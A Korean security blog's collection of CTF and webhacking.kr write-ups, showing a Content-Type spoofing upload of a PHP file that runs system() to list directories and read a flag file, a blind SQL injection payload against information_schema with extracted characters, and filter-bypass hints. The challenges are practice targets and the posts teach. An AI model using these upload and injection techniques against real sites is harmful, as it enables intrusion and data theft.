문제 파일은 url 과 so 파일이었다.


so 파일은 업로드 할때 해킹방지 보안 솔루션같은 필터였고 url은 미디어를 올리는 업로드 사이트였다.


url로 들어가보면 php 소스가 있고 그 소스를 확인해보면 경로 http://ip/uploads/md5(ip)/ 에 업로드가 되는 방식이었다.


하지만 이곳에 간단한 파일 업로드 취약점이 존재한다.


처음엔 php 파일을 그대로 올리려고 했지만 자꾸 해킹하지 마세요가 뜨길래


아래와 같이 헤더를 변조 시켰다.



content-type 부분을 이미지로 바꾸고 파일이름은 php로 지정하고 아래와 같이 post로 날렸다.


-----------------------------8546194317856

Content-Disposition: form-data; name="data"; filename="subtle_white_feathers.php"

Content-Type: image/png


system("dir ../../../../home/dwh300/");

?>


system("cat ../../../../home/dwh300/flags");

?>

-----------------------------8546194317856--

(위 코드는 몇번 디렉터리를 뒤지고 난 다음에 완성된 코드이다.)


png로 변조시켜 마치 png 파일을 업로드 하는것 같지만 안타깝게도 실제로는 php를 업로드하여 서버는 곧 햌킹을 당할것이다.


업로드에 성공하고 php에 접근했다.


/home/dwh300/ 에 flag 파일이 존재했고 그 파일을 cat 으로 열어보니 아래와 같이 나왔다.


2번째줄 끝으로 가보면 key 가 있다.


Flag : !!xx_^s0m3th1ng wr0ng^_yy!!


다른분은 php를 그냥 업로드 했다는데 왜 안됬을까 고민햇지만 어쩃든 풀렸으니 됫다.

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

Secuinside 2013 Secure web write-up  (0) 2013.05.29
webhacking.kr All Clear  (5) 2013.05.19
H.U.S.T 2012 WEB 5번 문제 풀이.  (0) 2013.01.01
webhacking.kr 2번 그리고 13번  (9) 2012.12.07
webhacking.kr 29번  (8) 2012.12.05
webhacking.kr 40번  (11) 2012.11.29





9번 문제는 현재 닫혀있네요..


그래서 은글슬쩍 올클이라고 우겨봅니다 ㅋㅋ


갑자기 아이디어가 떠오른것과 약간 도움을 받아서 문제들을 해결했습니다~


좋은 문제들을 출제해주신 올좀님 감사합니다~


곧 새로운 문제가 나온다니 기대되네요 ㅎㅎ

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

Secuinside 2013 Secure web write-up  (0) 2013.05.29
webhacking.kr All Clear  (5) 2013.05.19
H.U.S.T 2012 WEB 5번 문제 풀이.  (0) 2013.01.01
webhacking.kr 2번 그리고 13번  (9) 2012.12.07
webhacking.kr 29번  (8) 2012.12.05
webhacking.kr 40번  (11) 2012.11.29
  1. 익명 2013.07.23 09:09

    비밀댓글입니다

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2013.07.23 18:56 신고

      두개다 모두 mb_convert_encoding($_GET[id],'utf-8','euc-kr'); 가 힌트입니다.

  2. 익명 2013.08.26 03:15

    비밀댓글입니다

  3. 익명 2013.10.21 14:00

    비밀댓글입니다

안녕하세요 sweetchip입니다.


한달전 치뤄진 hust의 문제중 웹문제를 풀이해보려 합니다.


sql injection 문제인데, 상당히 많은 곳에서 헤맷네요 ㅋㅋ



이 페이지는 가입 페이지입니다.


원래 문제는 로그인 페이지 등등 여러개가 있엇는데, 이부분에서 취약점이 일어나서 이부분만 캡쳐했습니다.


제가 확인한것은 SEX 부분에서 필터링 부재로 인한 blind Sql Injection 취약점이 나타나게 됩니다.


문제는 아무 힌트가 없엇던 상태에서 어떻게 하는거냐엿는데


스키마가 필터링 되어있지 않아서 information_schema.columns 를 이용했습니다.


HOBBY_STR=1//&USER_ID=p&USER_PWD=p&USER_PWD_CHK=p&SEX=1=(if((select ascii(substr(COLUMN_NAME,6,1)) from information_schema.COLUMNS where TABLE_NAME = '[임의 삭제]' limit 1,1)>112,2,1))&MARRY=N&HOBBY=1


하지만 이것도 삽질만 하다가 포기.


그리고 잠시뒤 힌트가 나온뒤 다시한번 시도했습니다.


힌트의 내용은 'war_key' 가 테이블 이름이었습니다.


information_schema에 다시한번 blind sql injection 을 시도했습니다.


그 결과 키가 담겨 있는것이라 추측되는 칼럼의 이름도 똑같이 'war_key' 라는 것을 알아냈고 즉시 blind sql injection 을 시도했습니다.


C#으로 자동화 툴을 만들어서 인젝션을 시도했습니다.



직접 아스키 코드와 비교하면서... ㅋㅋ


그 결과.. 꽤나 많은 글자가 나온것을 본순간..;


약간의 멘붕과 함께 답을 인증했습니다.


80 P

114 r

101 e

115 s

105 i

100 d

101 e

110 n

116 t

95 _

111 o

102 f

95 _

72 H

85 U

83 S

84 T

95 _

105 i

115 s

95 _

66 B

111 o

116 t

104 h

101 e

114 r

95 _

77 M

101 e


Password Is President_of_HUST_is_Bother_Me


감사합니다.


새해첫 포스팅이네요


새해복 많이 받으세요

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

Secuinside 2013 Secure web write-up  (0) 2013.05.29
webhacking.kr All Clear  (5) 2013.05.19
H.U.S.T 2012 WEB 5번 문제 풀이.  (0) 2013.01.01
webhacking.kr 2번 그리고 13번  (9) 2012.12.07
webhacking.kr 29번  (8) 2012.12.05
webhacking.kr 40번  (11) 2012.11.29



webhacking.kr 2번과 13번을 며칠간 고민 끝에 풀었습니다.


도저히 감을 못잡겟어서 구글에 검색한 결과 약간 힌트를 얻고 풀게 되었습니다.


1. index.php 를 잘 보세요 :D

2. 이 문제는 blind sql injection 문제입니다.

3. 게싱문제 입니다. 그냥 직관적인것을 쓰면 됩니다. 페이지 이곳 저곳을 둘러보시는게 매우 도움이 됩니다.


위 대로 하면 뭔가 막히는게 있을겁니다.


그리고 결정적인 힌트!


이정도면 어느정도 고민하시면 푸실수 있을겁니다.


화이팅 :D



13번은 극악의 필터링을 자랑하는 문제입니다 ㅠ-ㅠ


많이 힘들었던 문제인데... 헤매는 분들을 위해서 몇가지 힌트를 드리겠습니다.


1. 이 문제는 blind sql injection 입니다.

2. 다른 문제와 비슷하게 풀면되나, 필터링이 더 강력합니다.

3. 기존의 인젝션 방법으로 안된다면 다른 문법을 알아보셔야 합니다


그리고 대부분 위 방법을 사용하셨다면 훼이크가 있을겁니다.


저는 그 훼이크 때문에 좀 많이 힘들었습니다 ㅠㅠ


그 훼이크를 잘 극복 하신다면 진짜 답을 구하실수 있습니다.


위 두문제를 풀고 48위로 넘어오게 되었네요 :D




'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

webhacking.kr All Clear  (5) 2013.05.19
H.U.S.T 2012 WEB 5번 문제 풀이.  (0) 2013.01.01
webhacking.kr 2번 그리고 13번  (9) 2012.12.07
webhacking.kr 29번  (8) 2012.12.05
webhacking.kr 40번  (11) 2012.11.29
webhacking.kr 57번  (0) 2012.11.28
  1. 익명 2013.04.24 21:03

    비밀댓글입니다

  2. 익명 2013.05.11 12:06

    비밀댓글입니다

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2013.05.12 22:56 신고

      아.. 이 문제를 푼지가 상당히 오래되엇네요..
      그래서 잘 기억이 안나기는하는데.. 테이블이나 컬럼은 직접 가르쳐 드릴순 없구요,
      힌트를 드리자면.. 쿠키로 하는것 맞구요!
      하나 더 드리자면 게시판입니다!

      자세한 쿼리값은 가르쳐 드릴수 없는것을 이해해주시길 바랍니다 ㅠ

  3. 익명 2013.05.22 02:01

    비밀댓글입니다

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2013.05.22 15:55 신고

      힌트는 in과 서브쿼리 입니다.

      그리고 주어진 것만을 잘 이용하셔야 합니다. 잘못된 것을 주진 않겟죠?

  4. . 2013.07.29 17:42

    훼이크라기 보다는 SQL 이 case sensitive 가 아니라 A == a 이기 때문에 벌어지는 일입니다

  5. pjw 2014.02.24 19:59

    다 풀긴 했는데 html파일에서 한글이 깨졌는지 비밀번호밖에 안보이는데 그 비밀번호를 어디다가 넣어야하나요?


아~ 드디어 갑자기 삘이 와서 29번을 풀게 되었습니다.




위가 성공시의 화면입니다. 답부분은 모자이크 처리를 해뒀습니다. ㅎㅎ




hint

select password from challenge_29_answer

$file_name=str_replace(".","",$file_name);

blind sql injection으로 풀이하실경우 정답이 출력되지 않습니다.

더 간단한 방법이 존재하니 그 방법을 이용해주세요.



일단 이 문제는 Blind Sql Injection 이 절대 아닙니다.


blind 로 풀어도 해결이 안된다고 합니다.


위에서 제시 했듯이 정말 간단한 방법이 존재합니다.


뭐.. 칼럼명에 테이블명까지 줬으니 모두다 끝난 이야기죠 ㅎㅎ


하지만 위 힌트로도 힘들었을 분을 위해서 힌트를 드리겠습니다.


파일 업로드를 하면 지금까지 업로드 했던것을 볼수 있습니다. 그런고로 insert 문을 예상해볼수 있습니다.


그렇다면 insert 에 대한 Sql injection의 쿼리를 예상해봐야 하고,


일단 업로드 하고 나오는 테이블을 보면 time/ip/filename 순으로 출력하지만 insert 쿼리를 넣을때와는 순서가 다를수 있습니다..


또한 ip가 있는걸 보아 ip에 대한 체크를 할것입니다.


마지막 힌트는 Sub Query 에 대해 알아보시면 될것 같습니다.


감사합니다.


모르시면 질문으

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

H.U.S.T 2012 WEB 5번 문제 풀이.  (0) 2013.01.01
webhacking.kr 2번 그리고 13번  (9) 2012.12.07
webhacking.kr 29번  (8) 2012.12.05
webhacking.kr 40번  (11) 2012.11.29
webhacking.kr 57번  (0) 2012.11.28
Webhacking.kr 55번 중간 풀이.  (10) 2012.11.05
  1. 익명 2013.07.18 04:05

    비밀댓글입니다

  2. Sonic 2013.09.05 13:31

    어디다가 인젝션 해야하는지 잘모르겟네요..
    insert문에 sub query로 쿼리공격 하는거인거는 감이오는데..

  3. 익명 2013.09.05 13:33

    비밀댓글입니다

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2013.09.11 18:10 신고

      총 3개가 insert 되는데 마음대로 바꿀수 잇는건 1개밖에 없을것 같네요

  4. 익명 2013.12.01 11:41

    비밀댓글입니다

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2013.12.01 20:30 신고

      아,. 이게 1년 반정도 전이라서 잘 기억이 안나네요.. ㅎㅎ;

  5. 익명 2013.12.10 17:24

    비밀댓글입니다

  6. 익명 2013.12.11 15:57

    비밀댓글입니다


안녕하세요 pgnsc 입니다.


며칠동안 헤매던 것을 다시 바로 잡고 어이없는곳에서 착각해서 해맸네요 =_=


이번편에서는 간단히 힌트만 드리겠습니다.


자신이 푸는것이 곧 실력 향상이니까요 :D




문제를 들어간 기본적인 페이지입니다.


Blind Sql Injection 문제입니다.


* int형 변수는 대비를 안할경우 Sql injection 에 매우 취약합니다.




어느 쿼리를 삽입하다보면 다음과 같이 admin password 를 넣는 부분이 나옵니다.


이부분은 일단 admin에 로그인을 했다는 뜻입니다.


ascii 가 필터링 되어있고 다른 블로거분은 hex 함수를 사용하지 말라고 하셨습니다.


저도 공감합니다; 푸는도중 오류가 있었습니다... ㅠㅠ


hex를 안써도 0x00 같이 하실수 있는것 다 아시지요?


마지막!


정답은 특수문자와 소문자입니다.


문제풀이 도중에 대문자가 나오기도 하나[저의 경우]


인증할땐 소문자로 인증해야더군요^^ 참고하세요.


감사합니다

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

webhacking.kr 2번 그리고 13번  (9) 2012.12.07
webhacking.kr 29번  (8) 2012.12.05
webhacking.kr 40번  (11) 2012.11.29
webhacking.kr 57번  (0) 2012.11.28
Webhacking.kr 55번 중간 풀이.  (10) 2012.11.05
webhacking.kr 49번 write up  (5) 2012.11.05
  1. 익명 2013.04.25 19:39

    비밀댓글입니다

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2013.04.27 11:28 신고

      다른 형태보다 발견이 쉽고 변조가 쉽다는 뜻이었습니다 ㅎㅎ;

  2. 익명 2013.05.17 22:12

    비밀댓글입니다

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2013.05.18 20:12 신고

      제 기억상으론... int 형으로 들어가는 부분이었던것 같습니다. 그냥 여러 구문을 넣으시다 보면 될겁니다... 자세한 쿼리는 이 문제를 작년에 풀어서 기억이 나질 않네요.. ㅠ-ㅠ...

  3. 익명 2013.05.20 18:41

    비밀댓글입니다

  4. 익명 2013.08.20 00:20

    비밀댓글입니다

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2013.08.20 00:31 신고

      ^^; 아마 어드민이 속한 번호를 해야 하지 않을까요...
      오래전에 풀어서 잘 기억이 안나네요 ㅠ-ㅠ

  5. 익명 2013.09.01 16:48

    비밀댓글입니다

  6. 익명 2014.04.15 18:48

    비밀댓글입니다

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2014.04.26 00:05 신고

      이미 해결하셨겟지만.. 푼지 오래되서 키값이 없어서 정확한 정보를 모릅니다.
      감사합니다


안녕하세요 pgnsc 입니다.



시간이 날때마다 webhacking.kr 문제를 풀어보고 있는데 이게 쉬운게 아니네요 ㅋㅋ



힌트를 보실분은 아래 힌트를 눌러주세요





* 본인이 스스로 연구를 하셔야 실력향상이 됩니다.


한번더 생각하시고 아래를 읽어주세요







Source Code



Challenge 57


$secret_key="????";

if(
time()>1309064400) exit("오후 2시에 공개됩니다.");

if(
$_POST[pw])
{

if(
$_POST[pw]==$secret_key)
{
mysql_query("delete from challenge57msg");
@
solve();
exit();
}

}


if(
$_GET[msg] && $_GET[se])
{
if(
eregi("from|union|select|and|or|not|&|\||benchmark",$_GET[se])) exit("Access Denied");

mysql_query("insert into challenge57msg(id,msg,pw,op) values('$_SESSION[id]','$_GET[msg]','$secret_key',$_GET[se])");
echo(
"Done

"
);
}

?>






message
secretyes

no




Secret key :






phps





Thanks to BlueH4g








PHPS 를 눌러보면 다음과 같은 소스가 존재합니다.


POST형식으로 키값을 검사하고 맞다면 통과시키는 문제입니다.


처음에 저는 방향을 insert 문을 조작시키고 secret 키를 조작해서 인증하는건줄 알았는데 아니더군요


이제부터 직접 풀이하지 않겠습니다.


sleep 함수를 이용하시면 정말 딱 아실수 있습니다


감사합니다.

'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

webhacking.kr 29번  (8) 2012.12.05
webhacking.kr 40번  (11) 2012.11.29
webhacking.kr 57번  (0) 2012.11.28
Webhacking.kr 55번 중간 풀이.  (10) 2012.11.05
webhacking.kr 49번 write up  (5) 2012.11.05
Webhacking.kr 46번 write up  (2) 2012.11.04



저에게 크나큰 멘붕과 새로운것을 알게해준 문제입니다.


역시 sql 문제는 할게 못됩니다 흑흑흑


힌트만 보실 분은 힌트를 눌러주세요











중간 풀이

// 12 11 05

// 멘붕데이


먼저 문제 55번에 들어가면 다음과 같은 화면이 나옵니다



이쁜 구더기가 마우스를 따라다니다가 잡아먹습니다.


잡아먹히지 않기위해서 피하면서 점수를 올려야 합니다.


게임은 이 문제 풀면서 머리 아플때 하세요 ㅋㅋ



그리고 엄청난 숫자를 지니신 굇수분들의 숫자가 나옵니다


그리고 score 의 파라미터로 점수를 날리면 아이디를 띄워주는데, 이부분에서 취약점이 발생됩니다.


이번에 사용할 공격은 Blind Sql Injection 공격입니다.


이제 그러면 하나하나 찾아야 겠는데,


소스보기를 하면



라고 하네요.


이제 필터링 되는 것들을 알아야 하는데 phps 그런건 없습니다.


그냥 하나하나 넣어야지요.


ascii 안됩니다.


substr 안됩니다.


substring 안됩니다.


union 안되구요


select 도 마찬가지입니다.


그러면 information_schema 문제는 아닙니다.


이렇게 저는 첫번째 멘붕이 시작되었습니다.


그래서 어느 분의 블로그를 보자 procedure analyse() 를 끝에 붙이면 db, table, column 을 볼수 있다고 하셨습니다.


결과를 보자, oldzombi2.challenge55_game.ip 라는 값이 나왔습니다.


앗싸.. 하지만 여기서 두번째 멘붕이 시작됩니다.


ip 라는 칼럼밖에 안나오는데...


하지만 limit 를 이용하면 가능합니다. [재미를 위해서 정확한 풀이는 담지 않겠습니다.]


위 limit 를 이용하면 다음과 같은 칼럼 추출이 가능합니다.


[참고로 length 로 답의 글자수도 추출 가능합니다.]





앞의 세글자만 봐도 대문자 소문자가 섞여있는것 같이 보입니다 [일부 모자이크]


이제 칼럼명은 모두다 구했습니다.


blind sql injection 을 시도해야 합니다.


답은 저 pas@@@... 칼럼 안에 있구요,


BSI[blind sql injection]의 값이 거짓이라면 다음과 같은 id 를 토해냅니다.



반면 참이라면 다음과 같은 아이디를 토해냅니다.



[쿼리에 따라 달라질수 있으니 유의 **]


하지만 인젝션을 잘 보니


ascii 도 막혀있고, sub .. 들도 막혀있습니다.


이것으로 세번째 멘붕이..


하지만 세번째는 그닥 오래가지 않았습니다.


my sql 의 left right 함수를 알게 되고, char이 안되니 0x헥스값 형태로 값을 비교 해서 인젝션 했습니다.


left 함수는 substr 함수와 달라서 약간 생각이 필요합니다.


저는 자동화 프로그램을 만들어서 3분 정도 인젝션 끝에 hex 코드 표로 대조한뒤


답을 인증했습니다.




에휴.. 힘드네요 ㅋ


'0x10 정보보안 > 0x16 Web' 카테고리의 다른 글

webhacking.kr 40번  (11) 2012.11.29
webhacking.kr 57번  (0) 2012.11.28
Webhacking.kr 55번 중간 풀이.  (10) 2012.11.05
webhacking.kr 49번 write up  (5) 2012.11.05
Webhacking.kr 46번 write up  (2) 2012.11.04
Webhacking.kr 37번 Write up  (2) 2012.11.04
  1. Favicon of https://wdinside.tistory.com BlogIcon 월드인사이드 2012.11.11 19:29 신고

    안녕하세요.^^
    이 글에 대한건 아니고 궁금한게 있는데요,,,
    옆에 따라다니는 뷰온과 뷰 구독 한Rss 구독 버튼은 어떻게 만드는건가요?
    포토샵으로 만들어놓긴 헀는데 적용하는법을 모르겟네요..^^;;

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2012.11.13 08:22 신고

      흠... 저도 다른 분 강좌를보고 한거라서 기억이 잘안나네요 ㅠㅠ

  2. 익명 2013.02.12 22:45

    비밀댓글입니다

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2013.02.13 14:24 신고

      죄송합니다. ㅠ-ㅠ
      푼지좀 많이 된거라 기억이 확실하게 잘 안나네요..;
      프로시져 저거는 저때만 써먹은거라 나중에 시간날때 다시 풀고 답글 달아드리겠습니다.

  3. 익명 2013.05.17 22:21

    비밀댓글입니다

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2013.05.18 20:14 신고

      혹시 테이블 값이 아닐까요?
      기억이 잘 안나지만.. 왠지 더 길었던것 같습니다... [아닐수도 있습니다.]
      조금더 연구해보세요! 이것역시 오래전에 풀엇던거라서..;; 확답을 드릴수 없네요.. ㅠㅠ

  4. 익명 2013.05.23 10:59

    비밀댓글입니다

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2013.05.22 16:28 신고

      답은 대문자 + 특수문자 + 숫자 나 소문자 + 특수문자 + 숫자 입니다.

      그리고 답은 20자리가 맞습니다.

      감사합니다.

  5. 익명 2013.05.23 11:23

    비밀댓글입니다

+ Recent posts